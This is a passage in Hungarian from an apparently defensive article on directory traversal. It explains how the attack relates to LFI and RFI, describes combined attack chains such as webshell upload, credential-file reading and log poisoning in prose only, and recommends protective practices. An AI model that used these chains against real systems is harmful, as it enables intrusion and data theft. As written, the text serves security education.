A fejlesztők folyamatos képzése a biztonságos kódolási gyakorlatokról kulcsfontosságú. A fejlesztőknek tisztában kell lenniük az OWASP Top 10 sebezhetőségekkel, beleértve a directory traversalt is, és meg kell érteniük a bemeneti validáció, a kimeneti tisztítás és a jogosultságok minimalizálásának fontosságát. A fejlesztési folyamatba integrált biztonsági szemlélet (Security by Design) a leghatékonyabb módja annak, hogy elkerüljük az ilyen típusú sebezhetőségeket.
A directory traversal elleni védelem nem egy egyszeri feladat, hanem egy folyamatos folyamat, amely a kódfejlesztéstől az üzemeltetésig terjed. A több rétegű védelem és a proaktív biztonsági megközelítés elengedhetetlen a modern webes fenyegetésekkel szemben.
Kapcsolódó sebezhetőségek és kontextus
A directory traversal sebezhetőség gyakran nem önállóan jelentkezik, hanem más biztonsági résekkel együtt, vagy azok részeként. A kontextus megértése segít a komplexebb támadási láncok azonosításában és a holisztikus védelem kiépítésében.
LFI (Local File Inclusion) és RFI (Remote File Inclusion)
Ahogy korábban említettük, a Local File Inclusion (LFI) és a Remote File Inclusion (RFI) sebezhetőségek szorosan kapcsolódnak a directory traversalhoz. Valójában a directory traversal gyakran egy LFI támadás módja, ahol a támadó a ../
szekvenciát használja a szerver helyi fájlrendszerén lévő tetszőleges fájlok beillesztésére. Az LFI lehetővé teszi a támadó számára, hogy beillesszen és megjelenítsen bármelyik fájlt, amihez az alkalmazás hozzáfér. Ha a fájl egy szkript (pl. PHP), és a szerver konfigurációja engedélyezi a futtatását, akkor az LFI RCE-hez (Remote Code Execution) is vezethet.
Az RFI még súlyosabb, mivel lehetővé teszi a támadó számára, hogy a saját szerverén tárolt rosszindulatú szkripteket illesszen be és futtasson a célrendszeren. Bár az RFI-t gyakran letiltják a modern PHP konfigurációkban (allow_url_include=Off
), még mindig előfordulhat más nyelvekben vagy rosszul konfigurált környezetekben. A directory traversal technikák használhatók az RFI sebezhetőségek kihasználására is, például ha az alkalmazás egy távoli URL-t konstruál egy fájlnév alapján, amelyet a támadó manipulál.
A directory traversal gyakran az LFI támadások egyik formája, amely lehetővé teszi a támadó számára, hogy a szerveren tárolt tetszőleges fájlokat olvasson vagy akár futtasson.
Path Traversal vs. LFI
Fontos tisztázni a különbséget a path traversal (directory traversal) és az LFI között:
- Path Traversal (Directory Traversal): A sebezhetőség, amely lehetővé teszi a támadónak, hogy a
../
szekvenciával navigáljon a fájlrendszerben, és hozzáférjen a webgyökérkönyvtáron kívüli fájlokhoz. A fő cél az olvasás vagy ritkábban az írás. - Local File Inclusion (LFI): Egy tágabb kategóriájú sebezhetőség, amely akkor fordul elő, ha egy alkalmazás dinamikusan tartalmaz vagy futtat fájlokat a szerverről a felhasználó által megadott bemenet alapján. A path traversal egy gyakori technika az LFI kihasználására. Az LFI fő célja a fájlok beillesztése és futtatása.
Tehát, míg minden path traversal támadás, ami fájl beillesztéshez vezet, LFI-nek tekinthető, nem minden LFI támadás használ path traversal technikát. Például, egy LFI akkor is előfordulhat, ha az alkalmazás közvetlenül elfogad egy abszolút fájl elérési utat, anélkül, hogy a támadónak ../
szekvenciákat kellene használnia.
Kombinált támadások lehetősége
A directory traversal ritkán az egyetlen sebezhetőség egy komplex támadásban. Gyakran más hibákkal kombinálva sokkal nagyobb kárt okozhat:
- Directory Traversal + Fájlfeltöltési sebezhetőség: Ha egy alkalmazás directory traversal sebezhető a fájlfeltöltési funkciójában, a támadó feltölthet egy rosszindulatú webshell-t (pl.
shell.php
) a szerver egy tetszőleges, futtatható könyvtárába (pl. a webgyökérbe), majd ezt követően futtathatja a kódot. - Directory Traversal + Információgyűjtés + SQL Injection: A directory traversal segítségével a támadó hozzáférhet az adatbázis konfigurációs fájljaihoz, amelyek tartalmazzák az adatbázis hitelesítő adatait. Ezen információk birtokában az SQL injection támadások sokkal hatékonyabbá válhatnak, mivel a támadó pontosan tudja, milyen adatbázishoz és táblákhoz fér hozzá.
- Directory Traversal + Log Poisoning: Egyes esetekben a támadó directory traversal segítségével hozzáférhet a webszerver naplófájljaihoz (pl. Apache access log). Ha ezek a naplófájlok írhatók, és az LFI sebezhetőség is fennáll, a támadó rosszindulatú kódot injektálhat a naplóba (pl. egy speciálisan kialakított User-Agent fejlécen keresztül). Ha az alkalmazás később beilleszti és futtatja a naplófájlt LFI-n keresztül, akkor a támadó kódja futni fog.
Ezek a példák jól mutatják, hogy a directory traversal egy alapvető építőköve lehet a kifinomultabb és pusztítóbb támadásoknak. Ezért a teljes biztonsági kép megértése és a sebezhetőségek közötti összefüggések felismerése elengedhetetlen a hatékony védelemhez.
A jövő kihívásai és a folyamatos védelem szükségessége

A digitális fenyegetések tájképe folyamatosan változik, és a directory traversal sebezhetőség, bár alapvetőnek számít, továbbra is releváns marad. Ahogy a webalkalmazások egyre összetettebbé válnak, és új technológiák jelennek meg, a védelemnek is fejlődnie kell, hogy lépést tartson a támadók innovatív módszereivel.
Új támadási technikák és a fejlődő környezetek
A támadók folyamatosan keresik a módokat a biztonsági intézkedések megkerülésére. Ez magában foglalhatja az új kódolási sémák felfedezését, az alkalmazáslogika rejtett hibáinak kihasználását, vagy a különböző sebezhetőségek kombinálását. Például, a modern konténerizált környezetek (Docker, Kubernetes) vagy szerver nélküli architektúrák (serverless) új kihívásokat jelentenek. Bár ezek a technológiák bizonyos fokú izolációt kínálnak, a rosszul konfigurált fájlrendszeri hozzáférések vagy a nem megfelelően validált bemenetek továbbra is vezethetnek directory traversal sebezhetőségekhez a konténeren vagy a függvényen belül.
A felhőalapú szolgáltatások elterjedésével a tárhelykezelési és fájlelérési mechanizmusok is változnak. A felhőalapú tárolók (pl. AWS S3, Azure Blob Storage) nem a hagyományos fájlrendszer hierarchiát követik, de a rosszul implementált hozzáférés-ellenőrzés vagy az URL-ek manipulálása hasonló adatszivárgáshoz vezethet. A támadók a felhőspecifikus API-kat és konfigurációs hibákat is célba vehetik, hogy kiterjesszék a directory traversal alapelveit ezekre az új környezetekre.
Mesterséges intelligencia szerepe a védelemben és a támadásban
A mesterséges intelligencia (MI) és a gépi tanulás (ML) egyre nagyobb szerepet kap a kiberbiztonságban, mind a támadók, mind a védők oldalán.
- MI a támadásban: A támadók MI-t használhatnak a sebezhetőségek automatikus felderítésére, a payloadok generálására és a WAF-ok megkerülésére. Az MI képes lehet tanulni a korábbi támadásokból és a védekezési stratégiákból, hogy új, korábban nem látott támadási mintákat hozzon létre.
- MI a védelemben: A védők MI-alapú rendszereket alkalmazhatnak a bemeneti anomáliák felismerésére, a gyanús forgalom azonosítására és a valós idejű fenyegetésészlelésre. Az MI segíthet azonosítani a komplex directory traversal kísérleteket, amelyek emberi szem számára nehezen észrevehetők, vagy amelyeket a hagyományos szabályalapú szűrők megkerülnek. Az MI-alapú SAST és DAST eszközök hatékonyabban találhatják meg a kódhibákat és a futásidejű sebezhetőségeket.
Bár az MI ígéretes, nem csodaszer. A biztonsági szakembereknek továbbra is alapvető szerepük van az MI-rendszerek képzésében, felügyeletében és az eredmények értelmezésében.
Folyamatos monitorozás és alkalmazkodás
A directory traversal és más sebezhetőségek elleni védelem nem statikus. A fenyegetési környezet dinamikussága megköveteli a folyamatos monitorozást és az alkalmazkodást.
- Rendszeres biztonsági frissítések: Fontos a webalkalmazás keretrendszereinek, könyvtárainak és az alapul szolgáló operációs rendszernek a rendszeres frissítése, mivel ezek a frissítések gyakran tartalmaznak biztonsági javításokat.
- Fenyegetés-felderítés (Threat Intelligence): A legújabb támadási technikákról és sebezhetőségekről szóló információk folyamatos gyűjtése és elemzése lehetővé teszi a proaktív védekezést.
- Incidenskezelés és válaszadás: Egy jól kidolgozott incidenskezelési terv elengedhetetlen. Ha egy directory traversal támadás mégis sikeres, a gyors és hatékony válasz minimálisra csökkentheti a károkat.
- Biztonsági kultúra: A legfontosabb talán a szervezet egészében kialakított erős biztonsági kultúra. Ez magában foglalja a fejlesztők, üzemeltetők és felhasználók tudatosságát a biztonsági kockázatokról, és a biztonság priorizálását a tervezéstől az üzemeltetésig.
Összességében a directory traversal egy klasszikus, de továbbra is jelentős HTTP sebezhetőség. A modern webes ökoszisztémában való relevanciájának megértése, a támadás működésének alapos ismerete, valamint a proaktív és többrétegű védekezési stratégiák alkalmazása kulcsfontosságú a digitális eszközök és adatok biztonságának fenntartásához.